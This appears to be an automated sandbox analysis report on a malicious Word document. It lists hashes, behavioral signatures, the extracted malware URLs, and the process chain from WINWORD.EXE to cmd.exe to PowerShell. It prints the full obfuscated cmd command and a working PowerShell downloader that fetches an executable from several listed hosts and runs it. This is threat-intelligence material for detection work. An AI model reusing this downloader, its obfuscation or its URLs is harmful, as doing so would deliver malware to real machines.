Analysis
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max time kernel
137s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 15:21
Behavioral task
behavioral1
Sample
726665031b2e8bf327d418ef15cfc60b_JaffaCakes118.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
726665031b2e8bf327d418ef15cfc60b_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
726665031b2e8bf327d418ef15cfc60b_JaffaCakes118.doc
-
Size
76KB
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MD5
726665031b2e8bf327d418ef15cfc60b
-
SHA1
35eb78421b3c8ee960e1c33b38ccd7a619183fb0
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SHA256
79eb8ce2f6e869a1583b04fe69318a6d7d125022d96b5ee2e02adb27c9b09bbd
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SHA512
a4125ed7f977ab55ff2149f7b76cb4ce1e9ebd48c9cfa4b7b924e40515d50ffab1630e09878892aaa28393b01239051a0338fdff040d87a4a58007f994535940
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SSDEEP
768:HpJcaUitGAlmrJpmxlzC+w99NB4+1ocMeZkxjsMdbfJfVQ+TNc:HptJlmrJpmxlRw99NB4+acMdhQ+p
Malware Config
Extracted
http://kaijiang001.com/xxwBiLY
http://ericsweredoski.com/C
http://www.tri-solve.com/4ZO
http://onlinelegalsoftware.com/RPtWwdec
http://www.ultigamer.com/wp-admin/includes/d
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3612 3780 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 7 IoCs
Processes:
powershell.exeflow pid process 26 1084 powershell.exe 36 1084 powershell.exe 40 1084 powershell.exe 42 1084 powershell.exe 104 1084 powershell.exe 109 1084 powershell.exe 111 1084 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 3612 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3780 WINWORD.EXE 3780 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1084 powershell.exe 1084 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1084 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE 3780 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 3780 wrote to memory of 3612 3780 WINWORD.EXE cmd.exe PID 3780 wrote to memory of 3612 3780 WINWORD.EXE cmd.exe PID 3612 wrote to memory of 1084 3612 cmd.exe powershell.exe PID 3612 wrote to memory of 1084 3612 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\726665031b2e8bf327d418ef15cfc60b_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\SYSTEM32\cmd.execmd /V/C"^se^t ^8I=^ ^ ^ ^ ^ ^ ^ ^}^}^{^hctac}^;ka^er^b;U^qN$^ metI^-ekovnI^;)^UqN$ ,vl^P^$(el^i^F^da^olnwo^D.EVw${yrt^{)^f^j^z^$ n^i v^lP$(hc^aer^o^f^;'^exe.^'+Va^o^$+'^\^'^+c^i^l^b^u^p^:vne^$^=UqN^$^;'7^84^'^ =^ V^a^o^$;)^'^@^'(t^i^l^p^S.^'d/^s^ed^ulcn^i/ni^m^da^-^p^w/moc^.rem^a^git^l^u.^www//:pt^th^@c^e^d^w^WtPR/^m^oc^.er^a^wt^f^oslage^l^enilno//^:p^t^t^h@O^Z4/m^oc.ev^los^-^irt.^ww^w//^:^p^tth^@C/moc^.i^k^so^d^er^ewscire//^:ptth@Y^Li^B^wxx/^moc.100gnai^ji^ak//:^pt^t^h^'^=fj^z^$;tn^eilCbeW.^teN^ tcej^bo^-wen^=EVw^$^ l^le^hsrew^o^p&&^f^or /^L %^s ^in (^382,^-1^,0)d^o ^se^t ^q^7RX=!^q^7RX!!^8I:~%^s,1!&&i^f %^s l^s^s ^1 call %^q^7RX:^*q7RX^!^=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3612 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $wVE=new-object Net.WebClient;$zjf='http://kaijiang001.com/xxwBiLY@http://ericsweredoski.com/C@http://www.tri-solve.com/4ZO@http://onlinelegalsoftware.com/RPtWwdec@http://www.ultigamer.com/wp-admin/includes/d'.Split('@');$oaV = '487';$NqU=$env:public+'\'+$oaV+'.exe';foreach($Plv in $zjf){try{$wVE.DownloadFile($Plv, $NqU);Invoke-Item $NqU;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
114B
MD5e89f75f918dbdcee28604d4e09dd71d7
SHA1f9d9055e9878723a12063b47d4a1a5f58c3eb1e9
SHA2566dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023
SHA5128df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0
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Filesize
785B
MD5fc18605b5bda01d6d36f34d9c8460dba
SHA14b4f22551c2b0b3768a47e7cf60dec5e1b36c8d2
SHA256562bb6658c431f3002bac4005a14d5c36878fd4bfa4703cbe07a8c5df59400e9
SHA512758112438d6dc7c26ea3f8c79a8a79e279b15cee82f815ef044a8c5c19d65cf424792d311c628e0fccf9c219f281c97c68ef601db0f9b167fc47985c6fc00aa5